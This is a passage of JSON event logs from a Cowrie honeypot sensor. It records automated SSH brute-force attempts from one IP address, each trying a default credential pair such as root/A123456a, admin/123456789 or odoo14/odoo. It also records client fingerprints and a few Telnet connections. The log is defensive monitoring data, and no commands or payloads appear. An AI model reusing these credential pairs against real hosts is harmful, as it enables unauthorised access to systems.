0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:50.489186Z","src_ip":"192.109.200.78","session":"1728ffadb971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:50.816720Z","src_ip":"192.109.200.78","session":"1728ffadb971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:51.900336Z","src_ip":"192.109.200.78","session":"1728ffadb971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39394,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d9930332914","protocol":"ssh","message":"New connection: 192.109.200.78:39394 (10.17.0.5:22) [session: 6d9930332914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:54.074708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:54.078345Z","src_ip":"192.109.200.78","session":"6d9930332914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:54.160012Z","src_ip":"192.109.200.78","session":"6d9930332914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:54.586235Z","src_ip":"192.109.200.78","session":"6d9930332914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:55.670642Z","src_ip":"192.109.200.78","session":"6d9930332914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39398,"dst_ip":"10.17.0.5","dst_port":22,"session":"f74b0ff9b218","protocol":"ssh","message":"New connection: 192.109.200.78:39398 (10.17.0.5:22) [session: f74b0ff9b218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:57.642560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:57.646780Z","src_ip":"192.109.200.78","session":"f74b0ff9b218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:57.730204Z","src_ip":"192.109.200.78","session":"f74b0ff9b218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:57.974221Z","src_ip":"192.109.200.78","session":"f74b0ff9b218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:59.057543Z","src_ip":"192.109.200.78","session":"f74b0ff9b218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53334,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3cb1f9399d","protocol":"telnet","message":"New connection: 94.23.66.112:53334 (10.17.0.5:23) [session: 3e3cb1f9399d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:59.980741Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39402,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c37862ca5f1","protocol":"ssh","message":"New connection: 192.109.200.78:39402 (10.17.0.5:22) [session: 6c37862ca5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:01.149925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:01.154509Z","src_ip":"192.109.200.78","session":"6c37862ca5f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:01.235665Z","src_ip":"192.109.200.78","session":"6c37862ca5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:01.483787Z","src_ip":"192.109.200.78","session":"6c37862ca5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:02.568615Z","src_ip":"192.109.200.78","session":"6c37862ca5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60242,"dst_ip":"10.17.0.5","dst_port":22,"session":"953a4a099db7","protocol":"ssh","message":"New connection: 192.109.200.78:60242 (10.17.0.5:22) [session: 953a4a099db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:04.626482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:04.634727Z","src_ip":"192.109.200.78","session":"953a4a099db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:04.717433Z","src_ip":"192.109.200.78","session":"953a4a099db7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:04.963481Z","src_ip":"192.109.200.78","session":"953a4a099db7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:06.049059Z","src_ip":"192.109.200.78","session":"953a4a099db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":54632,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f81e8edb18","protocol":"telnet","message":"New connection: 94.23.66.112:54632 (10.17.0.5:23) [session: 00f81e8edb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:07.142640Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60258,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bf457fddfa2","protocol":"ssh","message":"New connection: 192.109.200.78:60258 (10.17.0.5:22) [session: 8bf457fddfa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:08.107702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:08.115762Z","src_ip":"192.109.200.78","session":"8bf457fddfa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:08.204033Z","src_ip":"192.109.200.78","session":"8bf457fddfa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:08.451902Z","src_ip":"192.109.200.78","session":"8bf457fddfa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:09.537247Z","src_ip":"192.109.200.78","session":"8bf457fddfa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60274,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef74e1555f13","protocol":"ssh","message":"New connection: 192.109.200.78:60274 (10.17.0.5:22) [session: ef74e1555f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:11.493435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:11.617180Z","src_ip":"192.109.200.78","session":"ef74e1555f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:11.620769Z","src_ip":"192.109.200.78","session":"ef74e1555f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo","message":"login attempt [odoo14/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:12.032185Z","src_ip":"192.109.200.78","session":"ef74e1555f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:13.115988Z","src_ip":"192.109.200.78","session":"ef74e1555f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50052,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4039937dc15","protocol":"ssh","message":"New connection: 192.109.200.78:50052 (10.17.0.5:22) [session: d4039937dc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:15.072099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:15.076438Z","src_ip":"192.109.200.78","session":"d4039937dc15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:15.157399Z","src_ip":"192.109.200.78","session":"d4039937dc15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"12345678","message":"login attempt [crafty/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:15.404308Z","src_ip":"192.109.200.78","session":"d4039937dc15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:16.492795Z","src_ip":"192.109.200.78","session":"d4039937dc15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50054,"dst_ip":"10.17.0.5","dst_port":22,"session":"da16920b6ffd","protocol":"ssh","message":"New connection: 192.109.200.78:50054 (10.17.0.5:22) [session: da16920b6ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:18.760082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:18.763789Z","src_ip":"192.109.200.78","session":"da16920b6ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:18.844671Z","src_ip":"192.109.200.78","session":"da16920b6ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:19.088633Z","src_ip":"192.109.200.78","session":"da16920b6ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:20.172494Z","src_ip":"192.109.200.78","session":"da16920b6ffd","protocol":"ssh"}
